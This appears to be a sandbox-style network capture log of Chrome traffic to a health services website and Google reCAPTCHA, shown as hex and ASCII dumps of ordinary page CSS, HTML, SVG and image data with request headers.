2024-04-24 12:45:26 UTC	16384	IN	Data Raw: 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 62 6c 61 63 6b 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 77 68 69 74 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f Data Ascii: --wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-colo
2024-04-24 12:45:26 UTC	16384	IN	Data Raw: 66 6f 6f 74 65 72 5f 5f 6c 6f 67 6f 2d 77 72 61 70 70 65 72 3a 6e 74 68 2d 63 68 69 6c 64 28 35 29 2c 20 2e 6d 61 69 6e 2d 66 6f 6f 74 65 72 5f 5f 6c 6f 67 6f 2d 77 72 61 70 70 65 72 3a 6e 74 68 2d 63 68 69 6c 64 28 36 29 2c 20 2e 6d 61 69 6e 2d 66 6f 6f 74 65 72 5f 5f 6c 6f 67 6f 2d 77 72 61 70 70 65 72 3a 6e 74 68 2d 63 68 69 6c 64 28 37 29 2c 20 2e 6d 61 69 6e 2d 66 6f 6f 74 65 72 5f 5f 6c 6f 67 6f 2d 77 72 61 70 70 65 72 3a 6e 74 68 2d 63 68 69 6c 64 28 38 29 2c 20 2e 6d 61 69 6e 2d 66 6f 6f 74 65 72 5f 5f 6c 6f 67 6f 2d 77 72 61 70 70 65 72 3a 6e 74 68 2d 63 68 69 6c 64 28 39 29 2c 20 2e 6d 61 69 6e 2d 66 6f 6f 74 65 72 5f 5f 6c 6f 67 6f 2d 77 72 61 70 70 65 72 3a 6e 74 68 2d 63 68 69 6c 64 28 31 30 29 20 7b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 Data Ascii: footer__logo-wrapper:nth-child(5), .main-footer__logo-wrapper:nth-child(6), .main-footer__logo-wrapper:nth-child(7), .main-footer__logo-wrapper:nth-child(8), .main-footer__logo-wrapper:nth-child(9), .main-footer__logo-wrapper:nth-child(10) { min-width
2024-04-24 12:45:26 UTC	16384	IN	Data Raw: 2d 2e 35 20 31 2e 32 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 2d 2e 35 2d 31 2e 32 2d 31 2e 32 2e 35 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 7a 6d 31 32 20 30 63 2e 37 20 30 20 31 2e 32 2e 35 20 31 2e 32 20 31 2e 32 73 2d 2e 35 20 31 2e 32 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 2d 2e 35 2d 31 2e 32 2d 31 2e 32 2e 35 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 7a 6d 2d 36 30 2e 31 20 30 63 2e 37 20 30 20 31 2e 32 2e 35 20 31 2e 32 20 31 2e 32 73 2d 2e 35 20 31 2e 32 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 2d 2e 35 2d 31 2e 32 2d 31 2e 32 2e 35 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 7a 6d 31 32 20 30 63 2e 37 20 30 20 31 2e 32 2e 35 20 31 2e 32 20 31 2e 32 73 2d 2e 35 20 31 2e 32 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 2d 2e 35 2d 31 2e 32 2d 31 2e 32 2e 36 2d 31 2e 32 20 31 2e 32 2d 31 Data Ascii: -.5 1.2-1.2 1.2-1.2-.5-1.2-1.2.5-1.2 1.2-1.2zm12 0c.7 0 1.2.5 1.2 1.2s-.5 1.2-1.2 1.2-1.2-.5-1.2-1.2.5-1.2 1.2-1.2zm-60.1 0c.7 0 1.2.5 1.2 1.2s-.5 1.2-1.2 1.2-1.2-.5-1.2-1.2.5-1.2 1.2-1.2zm12 0c.7 0 1.2.5 1.2 1.2s-.5 1.2-1.2 1.2-1.2-.5-1.2-1.2.6-1.2 1.2-1
2024-04-24 12:45:26 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 63 2d 6d 74 2d 34 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 20 74 61 62 2d 6e 61 76 20 66 6f 6e 74 2d 73 69 7a 65 2d 32 32 20 66 6f 6e 74 2d Data Ascii: </li> <li class="nav-item c-mt-4" role="presentation"> <a class="nav-link tab-nav font-size-22 font-
2024-04-24 12:45:26 UTC	16384	IN	Data Raw: 20 31 38 2e 33 30 39 31 56 31 33 2e 37 32 34 34 48 35 2e 31 39 30 39 32 56 39 2e 32 34 34 33 35 48 39 2e 37 33 33 39 37 56 34 2e 36 39 30 38 38 48 31 34 2e 32 36 38 35 56 39 2e 32 34 34 33 35 48 31 38 2e 38 30 39 31 56 31 33 2e 37 32 34 34 48 31 34 2e 32 36 38 35 56 31 38 2e 33 30 39 31 48 39 2e 37 33 33 39 37 5a 22 2f 3e 0a 3c 2f 73 76 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 Data Ascii: 18.3091V13.7244H5.19092V9.24435H9.73397V4.69088H14.2685V9.24435H18.8091V13.7244H14.2685V18.3091H9.73397Z"/></svg> </span> <span
2024-04-24 12:45:26 UTC	16384	IN	Data Raw: 74 79 6c 65 73 5f 5f 63 69 72 63 6c 65 2d 2d 70 72 69 6d 61 72 79 2d 63 6f 6c 6f 72 22 20 64 61 74 61 2d 63 6f 6c 75 6d 6e 73 3d 27 33 27 3e 3c 75 6c 3e 0a 3c 6c 69 3e 41 6e 78 69 65 74 79 3c 2f 6c 69 3e 0a 3c 6c 69 3e 44 65 70 72 65 73 73 69 6f 6e 3c 2f 6c 69 3e 0a 3c 6c 69 3e 53 63 68 69 7a 6f 70 68 72 65 6e 69 61 3c 2f 6c 69 3e 0a 3c 6c 69 3e 53 63 68 69 7a 6f 61 66 66 65 63 74 69 76 65 3c 2f 6c 69 3e 0a 3c 6c 69 3e 42 69 70 6f 6c 61 72 20 44 69 73 6f 72 64 65 72 3c 2f 6c 69 3e 0a 3c 6c 69 3e 50 54 53 44 3c 2f 6c 69 3e 0a 3c 6c 69 3e 50 65 72 73 6f 6e 61 6c 69 74 79 20 44 69 73 6f 72 64 65 72 73 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: tyles__circle--primary-color" data-columns='3'><ul><li>Anxiety</li><li>Depression</li><li>Schizophrenia</li><li>Schizoaffective</li><li>Bipolar Disorder</li><li>PTSD</li><li>Personality Disorders</li></ul></div></div>
2024-04-24 12:45:26 UTC	16384	IN	Data Raw: 20 31 2e 32 2e 35 20 31 2e 32 20 31 2e 32 73 2d 2e 35 20 31 2e 32 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 2d 2e 35 2d 31 2e 32 2d 31 2e 32 2e 36 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 7a 6d 2d 34 38 20 30 63 2e 37 20 30 20 31 2e 32 2e 35 20 31 2e 32 20 31 2e 32 73 2d 2e 35 20 31 2e 32 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 2d 2e 35 2d 31 2e 32 2d 31 2e 32 2e 35 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 7a 6d 39 36 2e 31 20 30 63 2e 37 20 30 20 31 2e 32 2e 35 20 31 2e 32 20 31 2e 32 73 2d 2e 35 20 31 2e 32 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 2d 2e 35 2d 31 2e 32 2d 31 2e 32 2e 35 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 7a 6d 31 32 20 30 63 2e 37 20 30 20 31 2e 32 2e 35 20 31 2e 32 20 31 2e 32 73 2d 2e 35 20 31 2e 32 2d 31 2e 32 20 31 2e 32 2d 31 2e 32 2d 2e 35 2d 31 2e 32 2d Data Ascii: 1.2.5 1.2 1.2s-.5 1.2-1.2 1.2-1.2-.5-1.2-1.2.6-1.2 1.2-1.2zm-48 0c.7 0 1.2.5 1.2 1.2s-.5 1.2-1.2 1.2-1.2-.5-1.2-1.2.5-1.2 1.2-1.2zm96.1 0c.7 0 1.2.5 1.2 1.2s-.5 1.2-1.2 1.2-1.2-.5-1.2-1.2.5-1.2 1.2-1.2zm12 0c.7 0 1.2.5 1.2 1.2s-.5 1.2-1.2 1.2-1.2-.5-1.2-
2024-04-24 12:45:26 UTC	16384	IN	Data Raw: 2d 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 76 61 6c 6c 65 79 70 72 6f 68 65 61 6c 74 68 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 31 31 2f 4e 51 4c 2d 48 48 2d 32 30 32 33 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d Data Ascii: -src="https://valleyprohealth.org/wp-content/uploads/2023/11/NQL-HH-2023.png"> </div> </div> </div> </div> </div> <div class=
2024-04-24 12:45:26 UTC	7819	IN	Data Raw: 6f 72 6d 20 64 2d 66 6c 65 78 22 20 61 63 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 76 61 6c 6c 65 79 70 72 6f 68 65 61 6c 74 68 2e 6f 72 67 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 73 65 61 72 63 68 22 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 66 6f 72 6d 5f 5f 66 69 65 6c 64 20 77 2d 31 30 30 20 62 6f 72 64 65 72 2d 30 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 20 62 79 20 6b 65 79 77 6f 72 64 22 20 76 61 6c 75 65 3d 22 22 20 6e 61 6d 65 3d 22 73 22 20 74 69 74 6c 65 3d 22 53 65 61 72 63 68 20 6f 75 72 20 73 69 74 65 e2 80 a6 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 Data Ascii: orm d-flex" action="https://valleyprohealth.org/"> <input type="search" class="search-form__field w-100 border-0" placeholder="Search by keyword" value="" name="s" title="Search our site" /> <button type="submit"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.4	50193	142.250.141.103	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:25 UTC	820	OUT	GET /recaptcha/api2/payload?p=06AFcWeA6hHP6s1zynjYsXVufOgf4V29uZVjpCw0OhsZUN6GyY38r3KkHPQ-Fq3ZWwTNzx3gUyqIypGujbxTukbAXfsYdudixMkyZUEiNN3Yt2dQbAnrHduECGQR9eAbsvKZQ8dhU7AiV-HNFnqAvMHj9zq3uY1wur7d0zk9ON6jCU29x8XEjlN9daEWeTuLL7A00ipd4AF-Mt&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6df3iLGsJeeL1ZhHsDkSUGdkAxFQ0QUTQ5TeldRivfX23JUPR2AxDr3G7Qouv7-NQQVq71Tl6HC3imi85E
2024-04-24 12:45:25 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Wed, 24 Apr 2024 12:45:25 GMT Date: Wed, 24 Apr 2024 12:45:25 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-24 12:45:25 UTC	6	IN	Data Raw: 41 33 42 36 0d 0a Data Ascii: A3B6
2024-04-24 12:45:25 UTC	1255	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 2c 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C,,"}!1AQa"q2
2024-04-24 12:45:25 UTC	1255	IN	Data Raw: 52 59 d4 a4 2b 23 23 19 77 b9 c9 55 18 cf 4e 3a 75 aa 9d 78 f2 6f 6d 36 08 53 69 b4 e3 a7 f5 e8 6f 2f 8a b5 7f 29 20 b6 f0 a6 a7 70 ca 03 32 b4 89 f2 ee 0b 8c 6e 6f 98 77 3e 95 8f ab fc 48 b8 d3 3c e8 db c3 ec b2 07 58 fe ca 65 59 24 57 63 c0 0a a4 81 c8 c6 78 e4 7d 33 5b 46 d5 75 fb a5 d0 e3 d1 6f ed 60 92 6b 4b 8b 9b a8 ae d7 22 61 0c e2 33 df 71 65 52 47 1e 9d 78 ae af c2 1a 93 6a 93 6a 2f 2e a6 6d e4 9a 60 3c 92 10 ed 65 c8 6e 33 ca 8d a4 0c 12 70 0e 40 c0 a8 bb 9d 94 a6 d5 ff 00 e1 fe ff 00 bf b9 d0 dc 62 dc d5 35 6d 9e ff 00 d6 9a db e6 79 d4 fe 2c bc f1 4a 93 77 a4 c7 6a b6 a7 ab 9c 96 2f f3 1c 74 c0 05 71 d3 3c e3 8e b5 0e d7 92 51 2e 4c aa 06 0e d2 0e 71 c6 32 4e 71 f7 87 38 cf 3d eb d0 3e 27 ed f3 b4 f8 11 dc 48 ab 23 b2 2a a8 0b c0 e7 39 1f e1 Data Ascii: RY+##wUN:uxom6Sio/) p2now>H<XeY$Wcx}3[Fuo`kK"a3qeRGxjj/.m`<en3p@b5my,Jwj/tq<Q.Lq2Nq8=>'H#*9
2024-04-24 12:45:25 UTC	1255	IN	Data Raw: 61 62 12 40 d8 0a 54 22 80 bc 90 72 c7 93 c7 53 91 c8 fa d7 8a e9 ad c2 98 a1 61 2a 67 cb 84 bf 97 85 2d 91 92 3a 74 24 2e 73 f4 ad 21 8c 94 12 be ab fa f3 b7 df ea 5d d6 8b a2 d6 fe 9b 35 7d 15 bc ee bb b3 e8 8b c6 b8 96 e3 cb 87 cb 77 b7 8d 59 3e 6c a2 4a 4b 1d cc 48 27 20 7f 09 1d 08 eb 4d b5 b5 9a 36 36 4b 23 08 d0 e6 44 c9 65 08 a0 93 b4 e3 23 2c 71 d0 f4 27 8a f1 4d 17 c6 ba 8e 97 08 b0 92 ed ae 8c e1 90 06 7c 33 a9 c8 7c 31 dc 4f 1c 8f 66 ee 2b ab b3 f1 d5 83 69 e1 35 1d 0d e5 8e dc 9f 39 e4 ba 67 62 80 f0 0a f0 0e 54 f2 2b a9 56 8d 9d dd ba 2d 16 f7 df cf 56 28 41 c3 6d 75 df ad fb ef af af 5d 0f 4d b1 9a 11 77 20 be ba 58 f7 38 91 e2 76 c4 64 16 01 54 67 01 86 d0 b9 1e c3 d7 15 76 09 22 32 e6 dc ce f3 0f ba f1 ac 8c a4 90 a4 e4 b0 f9 72 49 f5 ef Data Ascii: ab@T"rSa*g-:t$.s!]5}wY>lJKH' M66K#De#,q'M\|3\|1Of+i59gbT+V-V(Amu]Mw X8vdTgv"2rI
2024-04-24 12:45:25 UTC	333	IN	Data Raw: 2c 76 f1 95 4e 13 07 72 8f 94 8e bc 73 d7 9e fc 9a d1 d6 f5 2b 5f 0f e9 72 ea 37 70 cc d1 2b 2c 7b 37 2a f0 cd 81 8c e0 11 92 4f 07 8c 71 ed 89 6d a6 de 78 66 72 2c 6d 64 be 9a e4 2a 37 99 b6 32 14 65 46 38 fb b9 66 fc 0f 7a 4b db db cd 42 28 74 fb 8d 16 d5 a3 59 44 84 3c d8 5d c0 86 00 00 79 19 51 d3 3d 3d 2b d9 c1 d6 84 68 28 eb d7 bf 99 e4 e2 21 cf 57 9d e9 ff 00 01 7c ba f9 16 0d 9a 5d f8 36 dd 92 e6 e1 25 df e6 6e 8e 66 fe 1e 76 fb e4 f1 c7 1c 9e 47 5a d5 9e 2b 25 92 e1 19 8a c6 cb 12 86 5e bf 3b 32 95 07 3c 1e 47 4c e3 02 b0 34 cb dd 59 74 2b 48 62 d3 63 41 22 b0 57 f3 bf 78 c8 cc 48 20 63 e5 c7 cb eb eb da a6 79 3c 4f a9 b9 79 2d 2c e0 59 91 48 0e 7c c2 8e 84 90 c4 e3 8c 33 03 c7 3c 57 73 ad 06 9b fe b7 25 d1 9e 96 be fd cd a9 d7 4c b6 b7 b4 86 57 Data Ascii: ,vNrs+_r7p+,{7Oqmxfr,md72eF8fzKB(tYD<]yQ==+h(!W\|]6%nfvGZ+%^;2<GL4Yt+HbcA"WxH cy<Oy-,YH\|3<Ws%LW
2024-04-24 12:45:25 UTC	1255	IN	Data Raw: e7 9f 55 f1 08 59 2e 23 45 8a 3b 97 48 d8 a9 66 c3 65 40 63 c0 1c 9c f5 18 34 2a d6 bc 57 f5 a9 3e ca 2a 1f d7 74 26 87 36 86 25 be 1a 67 97 71 71 25 cf 99 75 e6 38 6c 3e d5 5c 00 07 4c 2f 07 f9 e6 9e 0e a2 91 de ed d4 14 bb c8 d2 db 29 e1 63 dc 80 05 6c 8e e4 31 e9 56 f4 ff 00 0e 58 e9 62 76 b0 7b 88 e1 67 72 ca db 48 88 8c 0e b8 ce 07 27 93 dc 7b d4 52 e9 3f bd 9d cc b7 5e 6e 4a 94 2d 80 07 1c ed 18 ea a4 8e 3f 13 51 0a af 4e 6d c7 0a 6e 2f 4d 3f e1 c1 ce ad 71 0d bc 2f 34 37 2b f2 f9 9b 93 60 61 90 1c 03 83 86 23 a5 4c cd 0f da 20 6f b3 1b 98 a3 65 56 0d 2e 43 38 1d 02 e3 91 c0 1d 7f 88 f4 ac 5b cd 1f c5 b6 f7 33 dc d8 6a b6 5a 85 bb 29 22 d2 68 b6 3a 82 06 ef 9c 67 b8 cf 38 fb d5 9d e1 e9 7c 41 6f a8 de 4f af 5a de 80 d3 8b 88 c2 a1 91 23 04 11 b4 01 Data Ascii: UY.#E;Hfe@c4W>t&6%gqq%u8l>\L/)cl1VXbv{grH'{R?^nJ-?QNmn/M?q/47+`a#L oeV.C8[3jZ)"h:g8\|AoOZ#
2024-04-24 12:45:25 UTC	1255	IN	Data Raw: 73 6b eb e9 f2 7f e4 74 e1 55 4e 7f dd db 9b b3 ba d3 6e ab cb 6e 9b 1e e1 e5 48 f2 34 4b 72 ea 48 24 0f b4 01 82 59 7a 16 39 3b 71 90 7b e0 0e 08 a5 06 e6 12 d7 b3 cb 74 8b 95 2d b2 45 fb db 8e 3e 51 d7 2a 76 f0 78 23 da bc b0 db dd e9 97 91 45 7b 7b 76 93 2e d6 69 1a e4 95 85 76 e7 19 1f 74 e7 20 0d d9 e3 04 8c 57 7d e1 cf 14 69 77 16 92 35 eb 49 74 f1 a1 22 40 01 95 48 1b 90 12 7a a9 39 3d 88 3c 1f 6e 7c 4d 29 45 5e 3a af c7 fc 85 0c 42 6d c6 6a df af 7f f8 73 61 ad ee 19 e5 29 77 74 db 5c 48 25 54 47 2d 92 70 58 f1 9f bc c0 f6 e9 dc f3 19 93 51 87 75 db df 94 92 20 ee 4c d6 e4 1c f2 76 91 bb d3 8c 67 b9 f4 ad ab 6b 27 cd bb c4 b3 4c d2 36 f8 83 02 18 a9 61 9d e4 f2 38 c7 6e 40 cf 6c 55 75 b4 65 58 a1 da d8 4f 97 ca 56 c2 46 39 04 67 20 93 90 47 5c 0e Data Ascii: sktUNnnH4KrH$Yz9;q{t-E>Q*vx#E{{v.ivt W}iw5It"@Hz9=<n\|M)E^:Bmjsa)wt\H%TG-pXQu Lvgk'L6a8n@lUueXOVF9g G\
2024-04-24 12:45:25 UTC	1255	IN	Data Raw: 53 84 0c 0e e0 14 93 eb c9 c7 ff 00 aa a3 17 d1 2a 87 bd b2 44 9a 44 04 15 52 09 5c 12 32 7e 84 fe 5d aa 76 be 9e 46 dc 2e 64 2a ac 4e dd db d7 20 03 c0 3f 77 9c f7 ed 51 3a 5c b4 91 14 9f 68 f9 94 ac 87 21 4f 72 87 d7 fd 91 fa 51 ee bf eb fa d3 41 72 a4 ff 00 af 5f f8 7f 31 ea 60 9a 02 22 51 24 61 88 cb b6 e5 2a 7a f0 73 e9 81 f4 e3 a5 50 9f c3 9e 1b 6b 8f b4 b6 85 a7 3b 33 12 b3 f9 0a 8e 7b 60 b1 04 fe 9c 92 3b d3 da e2 47 96 57 61 31 ca b6 d6 24 70 39 3e e7 39 ed ce 31 53 2d c2 cb 34 52 12 8a be 61 8d d9 1b bf 50 cc df f0 1e fd 78 aa b4 5e af cc 1e 9b ff 00 5f d7 e7 d0 e7 35 4f 04 78 77 c8 f3 97 c3 b0 fd b5 09 65 68 e6 70 a1 b2 b8 6d ea 4e 0e 33 8c 0f c2 bc 4f 5f 92 48 f5 29 cc d0 26 41 19 53 0f fa b2 70 df 7d 72 70 31 c7 5e 0f b5 7d 24 66 16 f3 80 58 Data Ascii: SDDR\2~]vF.dN ?wQ:\h!OrQAr_1`"Q$a*zsPk;3{`;GWa1$p9>91S-4RaPx^_5OxwehpmN3O_H)&ASp}rp1^}$fX
2024-04-24 12:45:25 UTC	1255	IN	Data Raw: 9e eb 48 2f 26 e2 42 49 1e f6 c9 e7 2c 14 81 db f4 3f 5a f3 8f 17 78 23 57 f0 05 a5 97 89 3e c3 15 94 09 20 41 e6 4f e7 4b e6 9c 36 7e 52 15 49 e7 a0 e3 a6 7a 56 df c3 7f 11 5c c7 a2 48 6e 6e ae ae a5 13 34 cc 43 9d eb 92 08 2c 3b e4 fc c7 ea 40 ea 73 e3 e3 69 c2 b7 bc 96 bf d7 fc 03 b7 08 ed d7 45 d5 9d 4d c5 fa 35 ad c9 9a 12 a8 db 84 92 2c 7b 19 b1 80 3b e4 f4 c9 e0 73 f5 e6 bd c4 b6 77 8b e5 cf 31 8d 5b 05 59 31 8d 99 63 f3 1c 70 43 28 ff 00 be 8d 5e 9f 5c b5 99 15 1e ea 50 8a 4b 30 9a 25 27 6b 20 e4 1c e4 1e 07 b7 b1 c7 23 3e 97 73 67 8b 7b 4b 4b 80 0b 3e 55 da 26 0c 0e 07 38 3d 0b 13 d4 1c 63 ad 79 92 a1 35 6b 6d e6 76 c6 6d d9 bf eb f0 30 a5 b5 16 e2 e6 e2 de 4b 37 2a 4c 88 6e 19 72 85 88 1d 08 db ce d5 ea 7f c6 ad 6a 32 ea f1 69 f1 49 0c 93 3a f9 Data Ascii: H/&BI,?Zx#W> AOK6~RIzV\Hnn4C,;@siEM5,{;sw1[Y1cpC(^\PK0%'k #>sg{KK>U&8=cy5kmvm0K7*Lnrj2iI:
2024-04-24 12:45:25 UTC	1255	IN	Data Raw: a5 94 e0 93 93 bf 1d 4f 1d cf a9 1e 95 f5 0b a9 11 a4 30 20 e5 84 9e 59 60 0a 77 ce 72 47 be 71 8c 03 de be 6e be 96 da 6b 18 9a 68 fe d3 07 ca 59 54 65 9f b6 dd 87 a1 e0 f7 c7 5f 7a ce b3 da 4b 55 fd 7f 5a ef dc 24 d3 8b 5f e5 fd 6a bf 52 96 8f 69 71 67 67 1c 33 5d 46 64 8a 72 ce 82 62 92 12 41 0e d9 c1 e3 81 c9 07 a8 a7 5f de c7 6e 5c f9 72 47 74 cc 15 c2 72 51 78 6d b8 c7 39 27 3d 73 8e 73 cd 6e 42 b3 3e 8a 42 34 31 6e 25 9d d6 55 2b b7 3b b3 b0 f2 47 63 93 9e 05 64 c5 6c c9 ab bc fb e3 9b cc 9d a3 dd 1b 2e 42 b1 e0 e0 e4 8c 9d c3 27 8c 63 9e 6b 25 55 54 bb 93 ef d5 6b ae dd ad f7 b1 42 9a 70 bc 9d d7 e9 f7 68 ff 00 ab 6c 9d 3d 55 64 6b 0f 32 ea 43 12 ac 91 49 12 ab 33 2b 29 46 ee dc 2e 41 c1 3c 01 81 eb 50 68 d7 30 de 6a 53 c4 65 92 de f2 43 c3 16 5d Data Ascii: O0 Y`wrGqnkhYTe_zKUZ$_jRiqgg3]FdrbA_n\rGtrQxm9'=ssnB>B41n%U+;Gcdl.B'ck%UTkBphl=Udk2CI3+)F.A<Ph0jSeC]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.4	50191	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:26 UTC	772	OUT	GET /wp-content/uploads/2020/07/img__services-1536x712.jpg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/services Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; 